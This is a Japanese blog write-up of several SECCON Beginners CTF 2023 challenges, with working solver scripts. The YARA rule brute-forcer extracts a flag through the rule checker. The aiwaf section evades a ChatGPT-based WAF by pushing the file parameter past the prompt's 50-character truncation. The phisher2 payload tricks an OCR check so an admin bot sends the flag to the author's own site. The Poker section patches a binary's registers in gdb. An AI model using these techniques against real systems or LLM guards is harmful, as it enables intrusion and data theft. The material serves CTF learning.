LoginSignup
0
0

SECCON Beginners CTF 2023 WriteUp

Posted at

解いた順番は以下の通り

image.png

【welcome】Welcome

Point: 50 (711solved)

問題文

image.png

解説

SECCON Beginners CTFのDiscordサーバーのannouncementsチャンネルに開始直後に送信されたメッセージ内にflagがありました。

image.png

flag

ctf4b{Welcome_to_SECCON_Beginners_CTF_2023!!!}

【misc】YARO

Point: 74 (212solved)

問題文

image.png

解説

与えられたプログラムを見るとyaraという見慣れないモジュールがあったので、そのモジュールを使用している箇所を調べつつ確認。

調べたところYARAはマルウェアの解析に使われるツールでYARAルールというものを指定することで特定の文字列を使用したファイルを調べることができるらしい。

server.py
#!/usr/bin/env python3

import yara
import os
import timeout_decorator 

@timeout_decorator.timeout(20)
def main():
    rule = []
    print('rule:')
    
    while True:
        l = input()
        if len(l) == 0:
            break
        rule.append(l)
    
    rule = '\n'.join(rule)
    try:
        
        print(f'OK. Now I find the malware from this rule:\n{rule}')
        
        compiled = yara.compile(source=rule)
        
        for root, d, f in os.walk('.'):
            for p in f:
                file = os.path.join(root, p)
                matches = compiled.match(file, timeout=60)
                if matches:
                    print(f'Found: {file}, matched: {matches}')
                else:
                    print(f'Not found: {file}')
    
    except:
        print('Something wrong')

if __name__ == '__main__':
    try:
        main()
    except timeout_decorator.timeout_decorator.TimeoutError:
        print("Timeout")

問題として与えられたサーバにncでアクセスして適当なルールを与えてみる

image.png

flag.txtにctf4b{という文字列が含まれていることがわかった。あとは一文字ずつ試せばflagを発見できそうだ。実際、問題文にbackupのサーバが用意されていることからもブルートフォース攻撃が解法として悪くなさそうにも見える。

使用したexploitコードは以下

YARO_solver.py
from pwn import *
import pwn
import ptrlib

def exploit(flag):
    io = remote("yaro.beginners.seccon.games", 5003)
    payload=f"""rule find_flag {{
    strings:
        $flag = "{flag}"
    condition:
        $flag
}}\n""".encode()
    response=io.recvline().decode().strip()
    print(response)
    io.sendline(payload)
    for _ in range(7+2):
        response=io.recvline().decode().strip()
        print(response)
    response=io.recvline().decode().strip()
    print(response)
    io.close()
    return "F" in response

ans="ctf4b{"
while ans[-1]!="}":
    for i in range(0x20,0x80):
        try:
            if exploit(ans+chr(i)):
                ans+=chr(i)
                break
        # docstring内でダブルクォーテーションが含まれるとエラーを吐く対策
        except:
            pass
    print("\n\n\n\n\n\n")
    print(ans)
    print("\n\n\n\n\n\n")

結果
image.png

flag

ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}

【web】 aiwaf

Point: 68 (254solved)

問題文

image.png

解説

folder構成
aiwaf
├── app
│   ├── Dockerfile
│   ├── app.py
│   ├── books
│   │   ├── book0.txt
│   │   ├── book1.txt
│   │   ├── book2.txt
│   │   ├── book3.txt
│   │   └── book4.txt
│   ├── flag
│   ├── requirements.txt
│   └── uwsgi.ini
├── docker-compose.yml
└── nginx
    ├── Dockerfile
    └── nginx.conf

与えられたファイルを見ると話題のChatGPT君にプロンプトを与えている箇所が、、、

app.py
import uuid
import openai
import urllib.parse
from flask import Flask, request, abort

# from flask_limiter import Limiter
# from flask_limiter.util import get_remote_address

##################################################
# OpenAI API key
KEY = "****REDACTED****"
##################################################

app = Flask(__name__)
app.config["RATELIMIT_HEADERS_ENABLED"] = True

# limiter = Limiter(get_remote_address, app=app, default_limits=["3 per minute"])

openai.api_key = KEY

top_page = """
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="utf-8" />
    <title>亞空文庫</title>
</head>

<body>
    <h1>亞空文庫</h1>
    AIにセキュリティの物語を書いてもらいました。<br>
    内容は正しいかどうかわかりません。<br>
<ul>
    <li><a href="/?file=book0.txt">あ書</a></li>
    <li><a href="/?file=book1.txt">い書</a></li>
    <li><a href="/?file=book2.txt">う書</a></li>
    <!-- <li><a href="/?file=book3.txt">え書</a></li> -->
</ul>

※セキュリティのためAI-WAFを導入しています。<br>
© 2023 ももんがの書房
</body>

</html>
"""


@app.route("/")
def top():
    file = request.args.get("file")
    if not file:
        return top_page
    if file in ["book0.txt", "book1.txt", "book2.txt"]:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read()
    # AI-WAF
    puuid = uuid.uuid4()
    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
    try:
        response = openai.ChatCompletion.create(
            model="gpt-3.5-turbo",
            messages=[
                {
                    "role": "user",
                    "content": prompt,
                },
            ],
        )
        result = response.choices[0]["message"]["content"].strip()
    except:
        return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
    if "No" in result:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read().replace(KEY, "")
    return abort(403, "AI-WAFに検知されました👻")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31415)

この問題で着目した点は3つ

1. wafを突破したらどうなるか

抜粋コード1
if "No" in result:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read().replace(KEY, "")
return abort(403, "AI-WAFに検知されました👻")

folder構成から./books/../flagに答えがありそう
開かれるファイルは./books/{file}なのでどうにかしてfileにその../flagを入れたい

2. fileをどう取得しているか

抜粋コード2
@app.route("/")
def top():
    file = request.args.get("file")
    if not file:
        return top_page
    if file in ["book0.txt", "book1.txt", "book2.txt"]:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read()
    # AI-WAF

request.args.get("file")からfileの値はクエリパラメータのfileという値から取得していそう
つまり、URLに?file=という文字列は含める必要がありそう

3. promptをどのように渡しているか

抜粋コード3
# AI-WAF
    puuid = uuid.uuid4()
    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""

最初は話題のプロンプトインジェクションかと思ったけど
urllib.parse.unquote(request.query_string)[:50]としているので50文字以上の文字列は切り飛ばされてる
つまり適当に50文字以上のクエリ文字列を足して後ろに&fileという形でパラメータを足せばaiwafを突破した上でfile変数に../flagを入れることが出来そう。

結果:出来た
image.png

?hogefuga={十分に長い文字列}&file=../flagの形式で行けそうだけどURLの最大長が2083文字なことには一応注意。

flag

ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}

【crypt】 Conquer

Point: 84 (152solved)

問題文

image.png

解説

folder構成
Conquer
├── output.txt
└── problem.py
output.txt
key = 364765105385226228888267246885507128079813677318333502635464281930855331056070734926401965510936356014326979260977790597194503012948
cipher = 92499232109251162138344223189844914420326826743556872876639400853892198641955596900058352490329330224967987380962193017044830636379
problem.py
from Crypto.Util.number import *
from random import getrandbits
from flag import flag


def ROL(bits, N):
    for _ in range(N):
        bits = ((bits << 1) & (2**length - 1)) | (bits >> (length - 1))
    return bits


flag = bytes_to_long(flag)
length = flag.bit_length()

key = getrandbits(length)
cipher = flag ^ key

for i in range(32):
    key = ROL(key, pow(cipher, 3, length))
    cipher ^= key

print("key =", key)
print("cipher =", cipher)

問題文からもなんとなく推測できますが、ROL関数を見るとbit列に関して循環左シフトしている事がわかる。
流れとしては、
bytes_to_longflag XOR key
以下の流れを32回
keyを{pow(cipher,3,length)}bit循環左シフトする
cipher XOR key

なのでその逆操作をするコードを作成。

Conquer_solver.py
from Crypto.Util.number import *

# 循環右シフト
def ROR(bits, N, length):
    for _ in range(N):
        bits = (bits >> 1) | (bits & 1) << (length - 1)
    return bits

def decrypt(key, cipher, length):
    for i in range(32):
        cipher ^= key
        key = ROR(key, pow(cipher, 3, length), length)

    flag = long_to_bytes(cipher ^ key)
    return flag

key    = 364765105385226228888267246885507128079813677318333502635464281930855331056070734926401965510936356014326979260977790597194503012948
cipher = 92499232109251162138344223189844914420326826743556872876639400853892198641955596900058352490329330224967987380962193017044830636379

for length in range(15,1000):
    flag = decrypt(key, cipher, length)
    try:
        if "ctf" in flag.decode():
            print("flag =", flag)
            break
        else:
            print(flag)
    except:
        print(flag)

結果
image.png

flag

ctf4b{SemiCIRCLErCanalsHaveBeenConqueredByTheCIRCLE!!!}

【web】phisher2

Point: 94 (118solved)

問題文

image.png

解説

ちなみにphisher1とも言うべきphisherは昨年出題された問題で、ホモグラフ攻撃が題材だった。

folder構成
phisher2
├── docker-compose.yml
├── nginx
│   ├── Dockerfile
│   └── nginx.conf
└── phisher2
    ├── Dockerfile
    ├── admin.py
    ├── app.py
    ├── index.html
    ├── requirements.txt
    └── uwsgi.ini

問題サイトを開くとこんな感じ。
image.png

ページ内にあるcurlコマンド

curl -X POST -H "Content-Type: application/json" -d '{"text":"https://phisher2.beginners.seccon.games/foobar"}' https://phisher2.beginners.seccon.games

文字通り安全なサイトを用意してcurlで指定すればadminがアクセスしてくれるらしい。

app.py
import os
import uuid
from admin import share2admin
from flask import Flask, request

app = Flask(__name__)

@app.route("/", methods=["GET"])
def index():
    return open("./index.html").read()

@app.route("/", methods=["POST"])
def chall():
    try:
        text = request.json["text"]
    except Exception:
        return {"message": "text is required."}
    fileId = uuid.uuid4()
    file_path = f"/var/www/uploads/{fileId}.html"
    with open(file_path, "w", encoding="utf-8") as f:
        f.write(f'<p style="font-size:30px">{text}</p>')
    message, ocr_url, input_url = share2admin(text, fileId)
    os.remove(file_path)
    return {"message": message, "ocr_url": ocr_url, "input_url": input_url}


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0")

share2admin関数でadminに情報を渡してるのでそこで安全かどうかの判定をしてそう。
そしてその関数はadmin.pyにある。

admin.py
import os
import re
import pyocr
import requests
from PIL import Image
from selenium import webdriver

APP_URL = os.getenv("APP_URL", "http://localhost:16161/")
FLAG = os.getenv("FLAG", "ctf4b{dummy_flag}")

# read text from image
def ocr(image_path: str):
    tool = pyocr.get_available_tools()[0]
    return tool.image_to_string(Image.open(image_path), lang="eng")


def openWebPage(fileId: str):
    try:
        chrome_options = webdriver.ChromeOptions()
        chrome_options.add_argument("--no-sandbox")
        chrome_options.add_argument("--headless")
        chrome_options.add_argument("--disable-gpu")
        chrome_options.add_argument("--disable-dev-shm-usage")
        chrome_options.add_argument("--window-size=1920,1080")
        driver = webdriver.Chrome(options=chrome_options)
        driver.implicitly_wait(10)
        url = f"file:///var/www/uploads/{fileId}.html"
        driver.get(url)

        image_path = f"./images/{fileId}.png"
        driver.save_screenshot(image_path)
        driver.quit()
        text = ocr(image_path)
        os.remove(image_path)
        return text
    except Exception:
        return None


def find_url_in_text(text: str):
    result = re.search(r"https?://[\w/:&\?\.=]+", text)
    if result is None:
        return ""
    else:
        return result.group()


def share2admin(input_text: str, fileId: str):
    # admin opens the HTML file in a browser...
    ocr_text = openWebPage(fileId)
    if ocr_text is None:
        return "admin: Sorry, internal server error."

    # If there's a URL in the text, I'd like to open it.
    ocr_url = find_url_in_text(ocr_text)
    input_url = find_url_in_text(input_text)

    # not to open dangerous url
    if not ocr_url.startswith(APP_URL):
        return "admin: It's not url or safe url.", ocr_url, input_text

    try:
        # It seems safe url, therefore let's open the web page.
        requests.get(f"{input_url}?flag={FLAG}")
    except Exception:
        return "admin: I could not open that inner link.", ocr_url, input_text
    return "admin: Very good web site. Thanks for sharing!", ocr_url, input_text

share2admin関数の流れをざっくり読む

share2admin関数
    # ocr(光学文字認識)は生成されたHTMLをスクショした画像でやっていそう
    ocr_text = openWebPage(fileId)
    # 認識できる文字列がなかったらエラー
    if ocr_text is None:
        return "admin: Sorry, internal server error."

    # 画像認識で生成したテキストと入力で渡したURLをfind_url_in_textで特殊な文字を含まないURLに変換してそう
    ocr_url = find_url_in_text(ocr_text)
    input_url = find_url_in_text(input_text)

ocr_urlとinput_urlどちらかを誤認させたそう。

share2admin関数の続き
    if not ocr_url.startswith(APP_URL):
        return "admin: It's not url or safe url.", ocr_url, input_text

    try:
        # It seems safe url, therefore let's open the web page.
        requests.get(f"{input_url}?flag={FLAG}")
    except Exception:
        return "admin: I could not open that inner link.", ocr_url, input_text
    return "admin: Very good web site. Thanks for sharing!", ocr_url, input_text

リクエストしてもらうためにocr_urlしか見ていないと分かるので、画像認識の結果を誤認させ、input_urlに対してアクセスをさせたい感じがする。

APP_URL = os.getenv("APP_URL", "http://localhost:16161/")

とあるので、環境変数としてAPP_URLを渡してそう。環境変数を渡している記述がdocker-compose.ymlに存在したので見てみると

docker-compose.yml
# macos m1 is not supported
version: "3.8"

services:
  uwsgi:
    build: ./phisher2
    environment:
      TZ: "Asia/Tokyo"
      APP_URL: https://phisher2.beginners.seccon.games/
      FLAG: ctf4b{dummy_flag}
  nginx:
    build: ./nginx
    links:
      - uwsgi
    ports:
       - "80:80"
    environment:
      TZ: "Asia/Tokyo"

environmentでhttps://phisher2.beginners.seccon.games/を渡している。
つまりOCRの結果がhttps://phisher2.beginners.seccon.games/で始まる文字列であれば良さげ。
この時点で、金かかるけどhttps://phisher2.beginners.seccon.games.netみたいなドメイン取れば行けそう。
まあドメイン取れたとして、それで解く意味はないからやらないけど、、、

ところで、OCRが読み込んでいる画像はapp.py側でリクエストパラメータとして送ったtext(share2admin内の変数でいうとinput_url)から生成されている。

app.py(一部抜粋)
    try:
        text = request.json["text"]
    except Exception:
        return {"message": "text is required."}
    
    with open(file_path, "w", encoding="utf-8") as f:
        f.write(f'<p style="font-size:30px">{text}</p>')

ざっくりここまでで自分が認識している情報をまとめると

find_url_in_text関数 = http or https から始まる文字列に変換 (一部特殊文字は消される)
ocr_url = app.pyで生成されたhtmlを画像認識した結果をfind_url_in_text関数で変換したもの\ 
          安全なURLであるかの判定に使われる\ 誤認させたい
input_url = curlでtextパラメータにいれた文字列をfind_url_in_text関数で変換したもの\
            自分のURLにしたい
APP_URL = https://phisher2.beginners.seccon.games/

そして送ったリクエストが以下

curl -X POST -H "Content-Type: application/json" -d '{"text":"<a https://{自前のサイト}?a=></a>https
://phisher2.beginners.seccon.games/"}' https://phisher2.beginners.seccon.games

つまり

ocr_url
= https://phisher2.beginners.seccon.games/

input_url 
= find_in_url_text("<a https://{自前のサイト}?a=></a>https://phisher2.beginners.seccon.games/")
= https://{自前のサイト}?a=https://phisher2.beginners.seccon.games/

となるので安全なURLと誤認させた上で、自分のサイトに対してリクエストを送信してもらえる。

結果
image.png

flag

ctf4b{w451t4c4t154w?}

【reversing】Poker

Point: 94 (117solved)

問題文

image.png

解説

とりあえずIDA Freewareに入れてみる。
Flag取得していそうな部分を発見。

image.png

sub_11A0という関数でその処理を実行していそうなのでその処理に向かうまでに必要なステップを追う。
sub_11A0をIDAでグラフ表示してみると、、、

image.png

なんかめっちゃ条件分岐してる、、、
start関数呼ばれたあとにmain関数呼んで、main関数からsub_11A0、そしてフラグまでの条件分岐が画像の通り、ということまでは分かったが正直一つ一つ追っていくと超大変、、、
デバッグフラグが埋め込まれてないのでmain関数にbreakうってそこに飛ぶ!みたいな動作が出来ないのもやばいところ、、、

色々と思考した結果、「問題文に点数をたくさん取れば良いってあるんだから正解した時に得られるポイントを最大化すればflagを得られるのでは!?」という考えに至り、結果成功。

以下は手順。
動的解析を行うのでまずはpokerを実行

image.png

実際に自分でやってみると、最初にスコアが0でその後、勝利するごとにスコアが1ずつ加算されることがわかる。

実行したあと、別のターミナルを開く。
image.png

起動中のpokerのプロセスIDを指定してgdbを起動。

最初にスコアが0だったので値を返す処理の手前あたりでレジスタの値が0でadd命令でスコア1を加算している部分をnなどで1ステップずつ進みながら気合で探す。
最初はどのあたりで処理が実行している側に返されるのかを探る意味でnとEnterを連打してた。
結果としてそれに相当しそうな処理を発見↓。

image.png

1スコアを加算したあとに、98以下の値であるかどうかの比較をしていることがわかる。

image.png

最初はスコア0なので当然0x558f5ab90288に飛ぶが、その先でrbp-0x4の値をeaxに代入していることが分る。
ここで自分はrbp-0x4の値を比較している部分が加算前にあったことを思い出したので該当箇所を探した。

image.png

まさにここ↑。99以下かどうか比較してる。この辺の値がスコアに関連してそうなことがわかった。基本的にスコアはデフォルトでは0、つまり99より小さい。さらに99というよく見るカンストっぽい値。なんとなーく99よりでかい値にしたい感が強まる。
というわけで比較前にrbp-0x4に代入している箇所があるのでeaxに0x64(100)を代入してみる。
gdb上で

set $rax = 0x64

すると、、、

image.png

残念、、、
というのも正解したあとのスコアを書き換えている部分に当たるので、正解は自力でする必要がある。
なので再度gdbで同じ手順をすると、、、

image.png

今度は通る。運が悪ければ一生解けない方法だけどそれはそれで天文学的な確率なので何回かやってればいける。
これでflagゲット!

flag

ctf4b{4ll_w3_h4v3_70_d3cide_1s_wh4t_t0_d0_w1th_7he_71m3_7h47_i5_g1v3n_u5}

最後に

解けなかった問題も多くありますが、その過程で得られる知識があって非常に楽しかったです!

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0